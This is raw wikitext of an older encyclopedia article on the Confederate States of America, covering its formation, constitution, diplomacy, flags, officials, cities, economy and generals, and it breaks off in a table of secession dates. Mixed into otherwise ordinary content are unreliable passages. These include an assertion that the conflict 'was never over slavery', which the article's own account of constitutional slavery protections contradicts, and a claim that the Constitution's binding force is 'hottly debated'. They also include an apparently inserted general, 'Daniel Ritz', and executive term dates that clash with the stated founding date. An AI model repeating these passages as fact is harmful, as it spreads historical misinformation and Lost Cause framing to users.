| '''Largest city''' || [[New Orleans]]&lt;br&gt;&lt;small&gt;[[February 4]], [[1861]]&amp;ndash;[[May 1]], [[1862]] (captured)&lt;/small&gt;&lt;br&gt;[[Richmond, Virginia|Richmond]]&lt;br&gt;&lt;small&gt;[[May 1]], [[1862]]&amp;ndash;surrender
|-
| '''[[Official language]]''' || &lt;br&gt;[[English language|English]] [[de facto]] nationwide
&lt;small&gt;Various [[European languages|European]] and [[Native American languages|Native American]] languages regionally&lt;/small&gt;
|-
|'''[[Government]]''' &lt;br&gt;President&lt;br&gt;Vice President|| [[Federal republic]]&lt;br&gt;[[Jefferson Davis]]&lt;br&gt;[[Alexander Stephens]]
|-
| '''[[Area]]'''&lt;br&gt;&amp;nbsp;- Total&lt;br&gt;&amp;nbsp;- % water ||&lt;small&gt; (excl. MO &amp; KY)&lt;/small&gt;&lt;br&gt;1,995,392 km&amp;sup2;&lt;br&gt;5.7%
|-
| '''[[Population]]'''&lt;br&gt;&amp;nbsp;- &lt;small&gt;[http://www.civil-war.net/pages/1860_census.html 1860 Census]&lt;/small&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;- [[Population density|Density]]||&lt;small&gt; (excl. MO &amp; KY)&lt;/small&gt;&lt;br&gt;9,103,332 &lt;small&gt;(including 3,521,110 slaves)&lt;/small&gt;&lt;br&gt;
|-
|&lt;br&gt;&amp;nbsp;'''[[Independence]]'''  &lt;br&gt;&amp;nbsp; - Declared &lt;br&gt;&amp;nbsp; - Recognized &lt;br&gt;&amp;nbsp; - Recognition &lt;br&gt;&amp;nbsp; - Dissolution
||&lt;br/&gt;see [[American Civil War|Civil War]] &lt;br&gt;[[February 4]], [[1861]] &lt;br/&gt; by [[Duchy]] of [[Saxe-Coburg-Gotha]]&lt;br&gt; on [[July 30]], [[1861]]&lt;br&gt;[[June 23]], [[1865]]
|-
| '''[[Currency]]''' || [[Confederate States Dollar|CSA dollar]] &lt;small&gt;(only notes issued)&lt;/small&gt;
|}
:''For other meanings of confederacy, see [[confederacy (disambiguation)]]. For the fictional documentary about alternative history, see [[C.S.A.: The Confederate States of America]]''
The '''Confederate States of America''' &amp;mdash; also referred to as the '''Confederate States''', '''CSA''', '''the Confederacy''' and '''[[Dixie]]''' &amp;mdash; existed between 1861 and 1865 in [[North America]], comprising states that [[secession|seceded]] [[#International Diplomacy and Legal Status|&lt;small&gt;[1]&lt;/small&gt;]] from the [[United States of America]].  The territory of the C.S.A. consisted of most of the southeastern portion of today's united States.  Due to contention from the U.S., there was never a definitive delineation of the Confederate States' northern boundary; its southern land boundary was with [[Mexico]]. It was otherwise bounded by the [[Atlantic Ocean]] and the [[Gulf of Mexico]].

The formation of the Confederacy precipitated the [[American Civil War]] in 1861, with the vast majority of [[combat]] taking place in Confederate territory.  The [[Army of Northern Virginia]], under General [[Robert E. Lee]], also made limited incursions onto [[Union (American Civil War)|Union]] soil.  The Confederate States were defeated in 1865, after which they were reunited with the U.S.

==History==
{{main|American Civil War}}

The Confederate States of America was formed on [[February 4]], [[1861]], by seven [[Southern United States|Southern states]] ([[South Carolina]], [[Mississippi]], [[Florida]], [[Alabama]], [[Georgia (U.S. state)|Georgia]], [[Texas]], and [[Louisiana]]) after confirmation of the election of [[Abraham Lincoln]] as [[President of the United States]].  [[Jefferson Davis]] was selected as its first [[President of the Confederate States|President]] the next day.

[[Texas]] joined the Confederate States of America on [[March 2]] and then replaced its governor, [[Sam Houston]], when he refused to take an oath of allegiance to the Confederate States of America. These seven states [[secession|seceded]][[#International diplomacy and legal status|&lt;small&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/small&gt;]] from the [[United States]] and took control of military/naval installations, ports, and custom houses within their boundaries, triggering the [[American Civil War]].

A month after the Confederate States of America was formed, on [[March 4]], [[1861]], Abraham Lincoln was sworn in as [[President of the United States]]. In his [[Inauguration|inaugural]] address, he argued that the Constitution was a ''more perfect union'' than the earlier [[Articles of Confederation|Articles of Confederation and Perpetual Union]], that it was a binding contract, and called the secession &quot;legally void&quot;.  The legal issue of whether or not the Constitution was a binding contract has rarely been addressed by Academics, and to this day is a hottly debated concept. He stated he had no intent to invade Southern states, but would use force to maintain possession of Federal property and collection of various Federal taxes, duties and imposts. His speech closed with a plea for restoration of the bonds of union.

On [[April 12]], South Carolina troops fired upon the Federal troops stationed at [[Fort Sumter]] in [[Charleston, South Carolina]] until the troops surrendered.  Following the [[Battle of Fort Sumter]], Lincoln called for all remaining states in the Union to send troops to recapture Sumter and other forts, defend the Capital (Washington, D.C.), and preserve the Union.  Most Northerners believed that a quick victory for the Union would crush the rebellion, and so Lincoln only called for volunteers for 90 days of duty.  Lincoln's call for troops resulted in four more states voting to secede. [[Virginia]], [[Arkansas]], [[Tennessee]], and [[North Carolina]] joined the Confederacy for a total of 11. Once Virginia seceded, the Confederate capital was moved from [[Montgomery, Alabama]] to [[Richmond, Virginia]]. 

[[Kentucky]] was a border state during the American Civil War and, for a time, had two state governments, one supporting the Confederacy and one supporting the Union. Fittingly, the Presidents of both the United States ([[Abraham Lincoln]]) and the Confederate States of America ([[Jefferson Davis]]) during the Civil War were born in Kentucky.  The original government of [[Kentucky]] remained in the Union after a short-lived attempt at neutrality, but a rival faction from that state was accepted as a member of the Confederate States of America. A more complex situation surrounds the [[Missouri Secession]], but, in any event, Missouri was also considered a member of the Confederate States of America. With Kentucky and Missouri, the number of Confederate states is thus sometimes considered to be 13.

The five tribal governments of the [[Indian Territory]]&amp;mdash;which became [[Oklahoma]] in 1907&amp;mdash;also mainly supported the Confederacy. 

[[Image:Confederate penny.jpg|thumb|right|Confederate coin.]]
The southern part of New Mexico Territory (including parts of the [[Gadsden Purchase]]) joined with the Confederacy as [[Arizona Territory (CSA)|Arizona Territory]].  Settlers there petitioned the Confederate government for annexation of their lands, prompting an expedition in which territory south of the 34th parallel was governed by the Confederacy.  
Preceding his [[New Mexico Campaign]], General [[Henry Hopkins Sibley|Sibley]] issued a proclamation to the people of [[New Mexico]] his intentions of taking possession of the territory in the name of the Confederate States of America. Confederate States troops briefly occupied the territorial capital of [[Santa Fe, New Mexico|Santa Fe]] between [[March 13]] and [[April 8]], [[1862]].

Arizona troops were also officially recognized within the armies of the Confederacy

Not all jurisdictions where slavery was still legal joined the Confederate States of America. In 1861, [[martial law]] was declared in [[Maryland]] (the state which borders the U.S. capital, Washington, D.C., on three sides) to block attempts at secession. [[Delaware]], also a slave state, never considered secession, nor did the capital of the U.S., [[Washington, D.C.]].  In 1861, during the war, a unionist [[rump legislature]] in [[Wheeling, West Virginia|Wheeling, Virginia]] seceded from Virginia, claiming 48 counties, and joined the [[United States]] in 1863 as the state of [[West Virginia]], with a constitution that would have gradually abolished slavery.[http://www.ls.net/~newriver/va/vasecesh.htm]. Similar attempts to secede from the Confederate States of America in parts of other states (notably in eastern Tennessee) were held in check by Confederate declarations of martial law[http://www.aotc.net/Marxen.htm][http://web.utk.edu/~jharvey2/kville%20before%20siege.htm].

One of the greatest misunderstandings about the Confederacy was that the issue was never over slavery. President Lincoln was quoted on many occasions stating that if he could keep the southern states, and slavery, and avoid a war, he would. 

The surrender of the Army of Northern Virginia by General [[Robert E. Lee|Lee]] at [[Appomattox Court House]] on [[April 9]], [[1865]] is generally taken as the end of the Confederate States. President Davis was captured at [[Irwinville]], Georgia on [[May 10]] and the remaining Confederate armies surrendered by June 1865.  The last Confederate flag was hauled down, on [[CSS Shenandoah|CSS ''Shenandoah'']] on [[November 6]], [[1865]].

==Government and politics==
===Constitution===
[[Image:Davis4-2.png|thumb|150px|right|'''[[Jefferson Davis]]'''&lt;br&gt;President (1861-1865)]]
The  [[Confederate States Constitution]] provides much insight into the motivations for secession from the Union.  Based to a certain extent on both the [[Articles of Confederation]] and on the [[United States Constitution]], it reflected a stronger philosophy of [[States' rights|states' rights]],  curtailing the power of the central authority,  and also contained explicit protection of the institution of [[slavery]], though international slave trading was prohibited. It differed from the US Constitution chiefly by addressing the grievances of the secessionist states against the federal government of the United States.  For example, the Confederate government was prohibited from instituting [[protective tariff]]s, making southern ports more attractive to international traders. Most southerners regarded protective tariffs as a measure that enriched the northern states at the expense of the south.  The Confederate government was also prohibited from using revenues collected in one state for funding [[internal improvement]]s in another state.  One of the most notable differences in the Confederate Constitution is its reference to God. While the original United States Constitution acknowledged the people of the United States as the government's source of power, the Confederacy invoked the name of &quot;Almighty God&quot; as their source of legitimacy. At the same time, however, much of the Confederate constitution was a word-for-word duplicate of the US one.  

At the drafting of the Constitution of the Confederate States of America, a few radical proposals such as allowing only slave states to join and the reinstatement of the Atlantic slave trade were turned down.  The Constitution specifically did not include a provision allowing states to secede, since the southerners considered this to be a right intrinsic to a sovereign state which the United States Constitution had not required them to renounce, and thus including it as such would have weakened their original argument for secession.

The President of the Confederate States of America was to be elected to a six-year term and could not be reelected. The only president was [[Jefferson Davis]]; the Confederate States of America was defeated by the federal government before he completed his term. One unique power granted to the Confederate president was the ability to subject a bill to a [[line item veto]], a power held by some state governors. The [[Confederate Congress]] could overturn either the general or the line item vetoes with the same two thirds majorities that are required in the [[Congress of the United States|US Congress]].

Printed currency in the forms of bills and stamps was authorized and put into circulation, although by the individual states in the Confederacy's name. The government considered issuing Confederate coinage. Plans, dies and 4 &quot;proofs&quot; were created, but a lack of bullion prevented any public coinage.

Although the preamble refers to &quot;each State acting in its sovereign and independent character&quot;, it also refers to the formation of a &quot;permanent federal government&quot;. Also, although slavery was protected in the constitution, it also prohibited the importation of new slaves from outside the Confederate States of America (except from slaveholding states or territories of the United States).

===Capital===
[[Image:Virginia Capitol 1865.jpg|thumb|150px|right|[[Virginia State Capitol|Virginia State House]]&lt;br&gt;Served as Confederate Capitol]]
The capital of the Confederate States of America was [[Montgomery, Alabama]] from February 4, 1861 until May 29, 1861. [[Richmond, Virginia]] was named the new capital on May 6, 1861. Shortly before the end of the war, the Confederate government evacuated Richmond, planning to relocate further south. Little came of these plans before Lee's surrender at [[Appomattox Court House]]. [[Danville, Virginia]] served as the last capital of the Confederate States of America, from April 3 to April 10, 1865.

===International diplomacy and legal status===
The legal status of the Confederate Government was a subject of extensive debate throughout its existence and for many years after the war. During its existence, the Confederate government conducted negotiations with several [[Europe]]an powers (including [[Second French Empire|France]] and the [[British Empire|United Kingdom]]). [[Ernst II, Duke of Saxe-Coburg and Gotha]], ruler of the Duchy of [[Saxe-Coburg and Gotha]], the brother-in-law of Queen Victoria, appointed [[Ernst Raven]] as consul to the Confederate government in 1861. Raven was granted diplomatic exequatur on July 30, 1861. [http://memory.loc.gov/ll/llcc/005/0400/04240422.gif] The UK considered recognizing the Confederacy during the [[Trent Affair]] and began preparations to offer mediation along with France (due to [[Napoleon III of France|Emperor Napoleon III]]'s project, the [[Mexican Empire]]). Queen Victoria's husband, [[Prince Albert of Saxe-Coburg and Gotha|Prince Albert]] helped block recognition. Recognition was again considered following the [[Second Battle of Manassas]] when the British government were preparing to mediate in the conflict, but both nations backed away after the [[Battle of Antietam]] and Lincoln's [[Emancipation Proclamation]].  In early December 1863, [[Pope Pius IX]] addressed a letter &quot;to the Illustrious and Honorable Jefferson Davis, President of the Confederate States of America.&quot;  This was interpreted by many as a de facto recognition and generated widespread outrage in the North.

Throughout the war, most European powers adopted a policy of neutrality, meeting informally with Confederate diplomats but withholding diplomatic recognition. In its place, they applied international law principles that recognized the Northern and Southern sides of the war as [[belligerent]]s.  [[British North America|Canada]] allowed both Confederate and Union agents to work openly within its borders and some state governments in northern [[Mexico]] negotiated regional agreements to cover trade on the Texas border.

For the four years of its existence, the Confederate States of America asserted its independence and appointed dozens of diplomatic agents abroad. The Northern government, by contrast, asserted that the southern states were provinces in rebellion and refused any formal recognition of their status. Telling of this dispute, the Confederate Government responded to the hostilities by formally declaring war on the United States while the Union Government conducted its war efforts under a proclamation of [[Union blockade|blockade]] and rebellion by President Lincoln. Mid-war negotiations between the two sides occurred without formal political recognition, though the [[laws of war]] governed military relationships.

Four years after the war, the [[Supreme Court of the United States|United States Supreme Court]] ruled in [[Texas v. White]] that secession was unconstitutional and legally null. The court's opinion was rendered by Chief Justice [[Salmon P. Chase]], the former [[Secretary of the Treasury|Treasury Secretary]] under Lincoln. Chase's opinion was immediately attacked and remains controversial to this day. Critics, such as Jefferson Davis and [[Alexander Stephens]] penned subsequent legal arguments in favor of secession's legality, most notably Davis' ''Rise and Fall of the Confederate Government''.

===Confederate flags===
{{main|Flags of the Confederate States of America}}
&lt;center&gt;
&lt;gallery&gt;
Image:Starsnbars.png|1st National&lt;br&gt;&quot;Stars and Bars&quot;
Image:Stainlessbanner.png|2nd National&lt;br&gt;&quot;Stainless Banner&quot;
Image:Confederate Battle Flag.svg|Naval Jack
Image:Battle flag of the US Confederacy.svg|Battle Flag&lt;br&gt;&quot;Southern Cross&quot;
&lt;/gallery&gt;
&lt;/center&gt;

The official flag of the Confederate States of America, and the one actually called the &quot;Stars and Bars&quot;, has seven stars, for the seven states that initially formed the Confederacy.  This flag was sometimes hard to distinguish from the [[Flag_of_the_United_States#Historical_star_patterns|Union flag]] under battle conditions, so the Confederate battle flag, the &quot;Southern Cross&quot;, became the one more commonly used in military operations. The Southern Cross has 13 stars, adding the four states that joined the Confederacy after Fort Sumter, and the two divided states of Kentucky and Missouri. 

As a result of its depiction in 20th century popular media, the &quot;Southern Cross&quot; is a flag commonly associated with the Confederacy today. The actual &quot;Southern Cross&quot; is a square-shaped flag, but the more commonly seen rectangular flag is actually the flag of the First Tennessee Army, also known as the Naval Jack because it was first used by the Confederate Navy.

===Political leaders of the Confederacy===
====Executive====
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;margin:3px; border:3px solid #000000;&quot; align=&quot;left&quot;
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|'''OFFICE'''||align=&quot;left&quot;|'''NAME'''||align=&quot;left&quot;|'''TERM'''
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[President of the Confederate States of America|President]]||align=&quot;left&quot; |'''[[Jefferson Davis]]'''||align=&quot;left&quot;|16.10.1861&amp;ndash;(May 10)1865
|-
|align=&quot;left&quot;|[[Vice President of the Confederate States of America|Vice President]]||align=&quot;left&quot; |'''[[Alexander Stephens]]'''||align=&quot;left&quot;|16.10.1861&amp;ndash;(11. 5.)1865
|-
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[Confederate States Secretary of State|Secretary of State]]||align=&quot;left&quot;|'''[[Robert Toombs]]'''||align=&quot;left&quot;|16.10.1861&amp;ndash;25. 7.1861
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Robert M. T. Hunter]]'''||align=&quot;left&quot;|25. 7.1861&amp;ndash;22. 2.1862
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[William M. Browne]]''' ([[Acting (law)|acting]])||align=&quot;left&quot;| 7. 3.1862&amp;ndash;18. 3.1862
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Judah P. Benjamin]]'''||align=&quot;left&quot;|18. 3.1862&amp;ndash;1865
|-
|align=&quot;left&quot;|[[Confederate States Secretary of the Treasury|Secretary of the Treasury]]||align=&quot;left&quot;|'''[[Christopher Memminger]]'''||align=&quot;left&quot;|16.10.1861&amp;ndash;21. 6.1864
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[George Trenholm]]'''||align=&quot;left&quot;|18. 7.1864&amp;ndash;27. 4.1865
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[John H. Reagan]]'''||align=&quot;left&quot;|27. 4.1865&amp;ndash;(10. 5.)1865
|-
|align=&quot;left&quot;|[[Confederate States Secretary of War|Secretary of War]]||align=&quot;left&quot;|'''[[Leroy Pope Walker]]'''||align=&quot;left&quot;|16.10.1861&amp;ndash;17. 9.1861
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Judah P. Benjamin]]'''||align=&quot;left&quot;|17. 9.1861&amp;ndash;24. 3.1862
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[George W. Randolph]]'''||align=&quot;left&quot;|24. 3.1862&amp;ndash;15.11.1862
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Gustavus Smith]]''' ([[Acting (law)|acting]])||align=&quot;left&quot;|15.11.1862&amp;ndash;22.11.1862
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[James Seddon]]'''||align=&quot;left&quot;|22.11.1862&amp;ndash; 5. 2.1865
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[John C. Breckinridge]]'''||align=&quot;left&quot;| 6. 2.1865&amp;ndash;1865
|-
|align=&quot;left&quot;|[[Confederate States Secretary of the Navy|Secretary of the Navy]]||align=&quot;left&quot;|'''[[Stephen Mallory]]'''||align=&quot;left&quot;|16.10.1861&amp;ndash;(20. 5.)1865
|-
|align=&quot;left&quot;|[[Postmaster General of the Confederate States|Postmaster General]]||align=&quot;left&quot;|'''[[John H. Reagan]]'''||align=&quot;left&quot;|16.10.1861&amp;ndash;(10. 5.)1865
|-
|align=&quot;left&quot;|[[Attorney General of the Confederate States|Attorney General]]||align=&quot;left&quot;|'''[[Judah P. Benjamin]]'''||align=&quot;left&quot;|25.02.1861&amp;ndash;17. 9.1861
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Wade Keyes]]''' ([[Acting (law)|acting]])||align=&quot;left&quot;|17. 9.1861&amp;ndash;21.11.1861
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Thomas Bragg]]'''||align=&quot;left&quot;|21.11.1861&amp;ndash;18. 3.1862
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Thomas H. Watts]]'''||align=&quot;left&quot;|18. 3.1862&amp;ndash; 1.10.1863
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[George Davis (politician)|George Davis]]'''||align=&quot;left&quot;| 4. 1.1864&amp;ndash;24. 4.1865
|-
|}
&lt;br clear=&quot;all&quot;&gt;

====Legislative====
{{main|Confederate Congress}}
The [[legislative branch]] of the Confederate States of America was the [[Confederate Congress]]. Like the [[United States Congress]], the Confederate Congress consisted of two houses: the [[Confederate Senate]], whose membership included two senators from each state (and chosen by the state legislature), and the [[Confederate House of Representatives]], with members popularly elected by residents of the individual states.

'''Speaker of the Provisional Congress''' 
* [[Robert Woodward Barnwell]] of [[South Carolina]] - February 4, 1861
* [[Howell Cobb|Howell Cobb, Sr.]] of [[Georgia (U.S. state)|Georgia]] - February 4, 1861-February 17, 1862
* [[Thomas Stanhope Bocock]] of [[Virginia]]  - [[February 18]], [[1862]]-[[March 18]], [[1865]]

'''President pro tempore'''
* [[Howell Cobb|Howell Cobb, Sr.]] of [[Georgia (U.S. state)|Georgia]] 
* [[Robert Woodward Barnwell]] of [[South Carolina]]
* [[Josiah Abigail Patterson Campbell]] of [[Mississippi]]
* [[Thomas Stanhope Bocock]] of [[Virginia]] 

'''Tribal Representatives to Confederate Congress'''
* Elias Cornelius Boudinot 1862-65 - [[Cherokee]]
* Robert McDonald Jones 1863-65 - [[Choctaw]] and [[Chickasaw]] nations
* Samuel Benton Callahan 1864-65 - [[Cree]]


=====Sessions of the Confederate Congress=====
*[[Provisional Confederate Congress]]
*[[First Confederate Congress]]
*[[Second Confederate Congress]]

====Judicial====
A Judicial branch of the government was outlined in the [[C.S. Constitution]] but the would-be &quot;Supreme Court of the Confederate States&quot; was never created or seated because of the ongoing war.[http://www.als.edu/lib/editor.cfm?ID=223]  Some Confederate district courts were, however, established within some of the individual states of the Confederate States of America; namely, Alabama, Florida, Georgia, Louisiana, North Carolina, Tennessee, Texas and Virginia (and possibly others). At the end of the war, U.S. district courts resumed jurisdiction.[http://www.archives.gov/research/guide-fed-records/groups/021.html]

The state and local courts generally continued to operate as they had been, simply recognizing the CSA, rather than the USA, as the national government.[http://www.als.edu/lib/editor.cfm?ID=223]

'''Supreme Court''' - not established

'''District Court'''

* Asa Biggs 1861-1865
* John White Brockenbrough 1861
* Alexander Mosby Clayton 1861
* Jesse J. Finley 1861-1862

==Geography==
[[Image:Map_of_CSA 3.png|right|thumb|550px|Map of the states and territories claimed by the Confederate States of America]]
The Confederate States of America had a total of 2,919 miles (4,698 kilometers) of coastline.  A large portion of its territory lay on the sea coast, and with level and sandy ground. The interior portions were hilly and mountainous and the far western territories were deserts. The lower reaches of the [[Mississippi River]] bisected the country, with the western half often referred to as the [[Trans-Mississippi Theater of the American Civil War|Trans-Mississippi]]. The highest point (excluding Arizona and New Mexico) was [[Guadalupe Peak]] in [[Texas]] at 8,750 feet (2,667 meters).

Most of the area of the Confederate States of America had a humid subtropical climate with mild winters and long, hot, humid summers. The climate varied to semiarid steppe and arid desert west of longitude 96 degrees west.

The Confederate States of America were less urbanized than the northern states, with only [[New Orleans, Louisiana|New Orleans]] showing up in the list of top 10 U.S. cities in the 1860 census. Only 15 cities (excluding those in Kentucky and Missouri) ranked among the top 100 US cities in 1860. The population of [[Richmond, Virginia|Richmond]] swelled after it became the national capital, reaching an estimated 128,000 in 1864.
&lt;br clear=&quot;all&quot;&gt;
{| class=&quot;wikitable&quot; align=&quot;center&quot;
|- style=&quot;background: #efefef;&quot;
! # !! City !! 1860 Population !! [[List of United States metropolitan statistical areas by population|US Rank]]
|-
| style=&quot;background: #efefef;&quot; | 1.
| [[New Orleans, Louisiana]]
| style=&quot;text-align: right; padding-right: 1em;&quot; | 168,675
| style=&quot;text-align: right; padding-right: 1em;&quot; | 6
|-       
| style=&quot;background: #efefef;&quot; | 2.
| [[Charleston, South Carolina]]
| style=&quot;text-align: right; padding-right: 1em;&quot; | 40,522
| style=&quot;text-align: right; padding-right: 1em;&quot; | 22
|-
| style=&quot;background: #efefef;&quot; | 3.
| [[Richmond, Virginia]] 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 37,910 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 25
|-
| style=&quot;background: #efefef;&quot; | 4.
| [[Mobile, Alabama]] 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 29,258 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 27
|-
| style=&quot;background: #efefef;&quot; | 5.
| [[Memphis, Tennessee]] 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 22,623 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 38
|-
| style=&quot;background: #efefef;&quot; | 6.
| [[Savannah, Georgia]] 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 22,292 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 41
|-
| style=&quot;background: #efefef;&quot; | 7.
| [[Petersburg, Virginia]] 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 18,266 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 50
|-
| style=&quot;background: #efefef;&quot; | 8.
| [[Nashville, Tennessee]] 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 16,988 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 54
|-
| style=&quot;background: #efefef;&quot; | 9.
| [[Norfolk, Virginia]] 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 14,620 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 61
|-
| style=&quot;background: #efefef;&quot; | 10.
| [[Wheeling, West Virginia|Wheeling, Virginia]] 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 14,083 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 63
|-
| style=&quot;background: #efefef;&quot; | 11.
| [[Alexandria, Virginia]] 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 12,652 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 74
|-
| style=&quot;background: #efefef;&quot; | 12.
| [[Augusta, Georgia]] 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 12,493 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 77
|-
| style=&quot;background: #efefef;&quot; | 13.
| [[Columbus, Georgia]] 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 9,621 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 97
|-
| style=&quot;background: #efefef;&quot; | 14.
| [[Atlanta, Georgia]] 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 9,554 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 99
|-
| style=&quot;background: #efefef;&quot; | 15.
| [[Wilmington, North Carolina]] 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 9,553 
| style=&quot;text-align: right; padding-right: 1em;&quot; | 100
|}
{{-}}

==Economy==
{{main|Economy of the Confederate States of America}}
The Confederate States of America had an agrarian-based economy that relied heavily on slave-run plantations. The main products of the C.S.A. were [[cotton]], [[rice]], [[tobacco]] and [[sugar cane]], with some [[cattle]] and much [[grain]]. The states that formed the C.S.A. (excluding [[Missouri]] and [[Kentucky]]) produced $155 million in manufactured goods in 1860; their main products were [[flour]] and meal, lumber, processed tobacco, cotton goods and [[naval stores]]. The CSA adopted a [[free trade]] policy, but this was undermined by the Union [[blockade]]. The lack of adequate financial resources led the Confederacy to finance the war through printing money, which in turn led to high [[inflation]].

==Armed Forces==
The military armed forces of the Confederacy comprised the following three branches:

* [[Confederate States Army]]
* [[Confederate States Navy]]
* [[Confederate States Marine Corps]]

The Confederate military leadership included many veterans from the [[United States Army]] and [[United States Navy|U.S. Navy]] who had resigned their Federal commissions and had been appointed to senior positions in the Confederate armed forces.  Many had served in the Mexican War (such as [[Jefferson Davis]]), but others had little or no military experience (such as [[Leonidas Polk]], who attended West Point but did not graduate.)  The Confederate officer corps was composed in part of young men from slave-owning families, but many came from non-owners. The Confederacy appointed junior and field grade officers by election from the enlisted ranks. Although no Army service academy was established for the Confederacy, many colleges of the south (such as the [[Virginia Military Institute]]) maintained cadet corps that were seen as a training ground for Confederate military leadership. A naval academy was established in 1863, but no midshipmen had graduated by the time the Confederacy collapsed.

The rank and file of the Confederate armed forces consisted of white males with an average age between 16 and 28.  The Confederacy adopted [[conscription]] in 1862, but opposition was widespread. Depleted by casualties and desertions, the military suffered chronic manpower shortages. Towards the end of the Civil War, boys as young as 12 were fighting in combat roles and the Confederacy began an all-black regiment with measures underway to offer freedom to slaves who voluntarily served in the Confederate military.

===Military leaders of the Confederate States of America===
Military leaders of the CSA (with their state of birth and highest rank) included:

[[Image:Lee220.jpg|thumb|right|General Robert E. Lee, for many, the face of the Confederate army]]
*[[Robert E. Lee]] ([[Virginia]]) - [[General]] and [[Military]] [[General-in-Chief]]
*[[Albert Sidney Johnston]] ([[Kentucky]]) - [[General]]
*[[Joseph E. Johnston]] ([[Virginia]]) - [[General]]
*[[Braxton Bragg]] ([[North Carolina]]) - [[General]]
*[[P.G.T. Beauregard]] ([[Louisiana]]) - [[General]]
*[[Samuel Cooper (general) | Samuel Cooper]] ([[New Jersey]]) - [[General]] (Adjutant General and highest ranking general in the Army)
*[[James Longstreet]] ([[South Carolina]]) - [[Lt. General]]
*[[Thomas J. Jackson|Thomas J. &quot;Stonewall&quot; Jackson]] ([[Virginia]]) - [[Lt. General]]
*[[John Hunt Morgan]] ([[Kentucky]]) - [[General]]
*[[A.P._Hill|A.P. Hill]] ([[Virginia]]) - [[Lt. General]]
*[[John Bell Hood]] ([[Texas]]) - [[Lt. General]]
*[[Wade Hampton]] ([[South Carolina]]) - [[Lt. General]]
*[[Nathan Bedford Forrest]] ([[Tennessee]]) - [[Lt. General]]
*[[J.E.B. Stuart]] ([[Virginia]]) - [[Lt. General]]
*[[Edward Porter Alexander]] ([[Georgia (U.S. state)|Georgia]]) - [[Brig. General]]
*[[Franklin Buchanan]] ([[Maryland]]) - [[Admiral]]
*[[Raphael Semmes]] ([[Maryland]]) - [[Rear Admiral]]
*[[French Forrest]] ([[Maryland]]) - [[Acting Assistant Secretary of the Confederate Navy]]
*[[Josiah Tattnall]] ([[Georgia (U.S. state)|Georgia]]) - [[Commodore (rank)|Commodore]]
*[[Stand Watie]] ([[Indian Territory]], now [[Oklahoma]]) - [[Brigadier General]] (last to surrender)
*[[Leonidas Polk]] ([[North Carolina]]) - [[Bishop]] &amp; [[General]]
*[[Jubal Anderson Early]] ([[Virginia]])- [[Lt. General]]
*[[Daniel Ritz]] ([[Texas]]) - [[General]]
*[[Richard Taylor (general)|Richard Taylor]] ([[Kentucky]]) - [[Lt. General]] (Son of US-President [[Zachary Taylor]])

==Significant dates==
{| class=&quot;wikitable&quot;
|- style=&quot;background: #efefef; vertical-align: top;&quot;
! State
! Flag
! Secession ordinance
! Admitted C.S.A.
! U.S. Congress&lt;br&gt;representation restored
! Local rule reestablished
|-
| style=&quot;text-align:left;&quot; | [[South Carolina]]
|align=&quot;center&quot;|{{flagicon|USA-SC}}
| [[December 20]], [[1860]]
| [[February 4]], [[1861]]
| [[July 9]], [[1868]]
| [[November 28]], [[1876]]
|-
| style=&quot;text-align:left;&quot; | [[Mississippi]]
|align=&quot;center&quot;|{{flagicon|USA-MS}}
| [[January 9]], [[1861]]
| [[February 4]], [[1861]]
| [[February 23]], [[1870]]
| [[January 4]], [[1876]]
|-
| style=&quot;text-align:left;&quot; | [[Florida]]
|align=&quot;center&quot;|{{flagicon|USA-FL}}
| [[January 10]], [[1861]]
| [[February 10]], [[1861]]
| [[June 25]], [[1868]]
| [[January 2]], [[1877]]
|-
| style=&quot;text-align:left;&quot; | [[Alabama]]
|align=&quot;center&quot;|{{flagicon|USA-AL}}
| [[January 11]], [[1861]]
| [[February 18]], [[1861]]
| [[July 14]], [[1868]]
